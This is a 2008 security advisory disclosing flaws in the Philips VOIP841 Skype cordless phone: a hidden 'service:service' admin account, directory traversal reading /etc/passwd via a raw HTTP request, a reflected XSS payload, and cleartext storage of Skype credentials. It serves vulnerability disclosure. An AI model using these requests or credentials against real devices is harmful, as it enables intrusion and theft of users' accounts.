philipsvoip-multi.txt

🗓️ 14 Feb 2008 00:00:00Reported by Luca CarettoniType
packetstorm🔗 packetstormsecurity.com👁 39 Views
Philips VOIP841 DECT Cordless Phone Multiple Vulnerabilitie
`Secure Network - Security Research Advisory  
  
Vuln name: Philips VOIP841 Multiple Vulnerabilities  
Systems affected: Philips VOIP841, Firmware Version 1.0.4.50 and 1.0.4.80, Web Server Version 1.5 (simple httpd)  
Systems not affected: n/a  
Severity: High  
Local/Remote: Remote  
Vendor URL: http://www.consumer.philips.com/consumer  
Author(s): Luca "ikki" Carettoni - [email protected]  
Vendor disclosure: 23rd January 2008  
Vendor acknowledged: -  
Vendor patch release: -  
Public disclosure: 14th February 2008  
Advisory number: SN-2008-01  
Advisory URL: http://www.securenetwork.it/advisories/, http://www.ikkisoft.com  
  
*** SUMMARY ***  
  
VOIP841 is one of the first DECT cordless phones with an embedded Skype client.  
Without a computer, it is possible to call directly other Skype users or international numbers using SkypeOut  
as well as the regular PSTN line. It is important to notice that it is Skype Certified and presented as a best seller   
on the "Skype Shop" online.  
  
Multiple vulnerabilities have been found in the latest version of this VOIP phone, ranging from an hidden administration  
account to XSS and directory traversal. Various consequences are associated with these issues, such as theft  
of Skype authentication credentials stored in the phone and information disclosure.  
  
In order to exploit some vulnerabilities, a regular user should be authenticated.  
However, using the hidden administration account it is possible to easily bypass this security mechanism.  
  
*** VULNERABILITY DETAILS ***  
  
(a) Hidden Administration Account  
The device provides a comfortable web management console, protected with a basic HTML Authentication.  
The default account is set to "Philips:voip841".  
  
We discovered an hidden administration account which is probably used during technical remote assistance.  
In the file "/var/cnxt/service", there is the BASE64 string "c2VydmljZTpzZXJ2aWNl" which represents   
the account "service:service".  
  
Using these credentials it is possible to login into the web administration console with admin privileges.  
The previous user enables also a "secret" tab called [Change MAC Address] where it is possible (as the name implies)  
to change the hardware address of the network interface.  
  
(b) Directory Listing, Directory Traversal  
The embedded webserver doesn't sanitize any kind of user input. The directory listing option is also enabled.  
Using the previous account it is possible to browse every directory on the device and to retrieve the content  
of any file with a simple HTTP request.  
  
Let's see a self explaining example:  
  
jungle ikki $ telnet 192.168.1.10 80  
Trying 192.168.1.10...  
Connected to 192.168.1.10.  
Escape character is '^]'.  
GET /../../../../../../../../etc/passwd HTTP/1.0  
Host: 192.168.1.10  
Authorization: Basic c2VydmljZTpzZXJ2aWNl  
  
HTTP/1.0 200 OK  
Content-type: text/plain  
Expires: Sat, 24 May 1980.7:00:00.GMT  
Pragma: no-cache  
Server: simple httpd 1.0  
  
root:x:0:0:root:/root:/bin/bash  
demo:x:5000:100:Demo User:/home/demo:/bin/bash  
nobody:x:65534:65534:Nobody:/htdocs:/bin/bash  
Connection closed by foreign host.  
  
(c) Cross Site Scripting (XSS)  
Due to the absence of input filters it is possible to inject scripting code inside the 404 standard response page.  
In this way it is possible to trigger XSS attacks with a simple HTTP request like the following:  
  
GET /var/htdocs/<script>alert("XSS");</script> HTTP/1.0  
Host: 192.168.1.10  
  
<html><head><title>404 File Not Found</title></head>  
<body>  
httpd server: The requested URL '/var/htdocs/<script>alert("XSS");</script>' was not found on this server.  
</body></html>  
  
(d) Insecure Storage  
Browsing the device filesystem, we have noticed the presence of sensitive information stored in an insecure way.  
  
Just to show the possible risks, we report the possibility to retrieve Skype credentials used by the device   
and inserted by the user during the configuration process.   
In the file "/var/jffs2/data/save.dat", the embedded Skype client stores temporary information such as   
the Skype account (username and password) in clear text.  
  
Another issue is related to the change password procedure for the web management console: every operation  
done on the web console is logged on a temporary file present in the directory "/tmp".  
When an administrator changes the web authentication password, the old and the new values are revealed into  
the file "apply.log" generated by the cgi-bin called "apply".  
  
###### CUT HERE ######  
<22:02:11.940000> apply cgi start...  
<22:02:11.940000> Content length : 64  
<22:02:11.940000> btn_action=admin&edit_pwd1=ikki&edit_pwd2=ikki&rb_defaults=rb_no  
<22:02:11.940000> 0 : [btn_action] = [admin]  
<22:02:11.940000> 1 : [edit_pwd1] = [ikki]  
<22:02:11.940000> 2 : [edit_pwd2] = [ikki]  
<22:02:11.940000> 3 : [rb_defaults] = [rb_no]  
<22:02:11.940000> Action : [4] admin  
<22:02:11.940000> OldUser:philips:voip841  
<22:02:11.940000> NewUser:ikki  
<22:02:11.940000> Encoded:philips:ikki  
###### CUT HERE ######  
  
*** EXPLOIT ***  
  
Attackers may exploit these issues through a common browser as explained   
above.  
  
*** FIX INFORMATION ***  
n/a  
  
*** WORKAROUNDS ***  
n/a  
  
*********************  
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`
14 Feb 2008 00:00Current
7.4High risk
Vulners AI Score7.4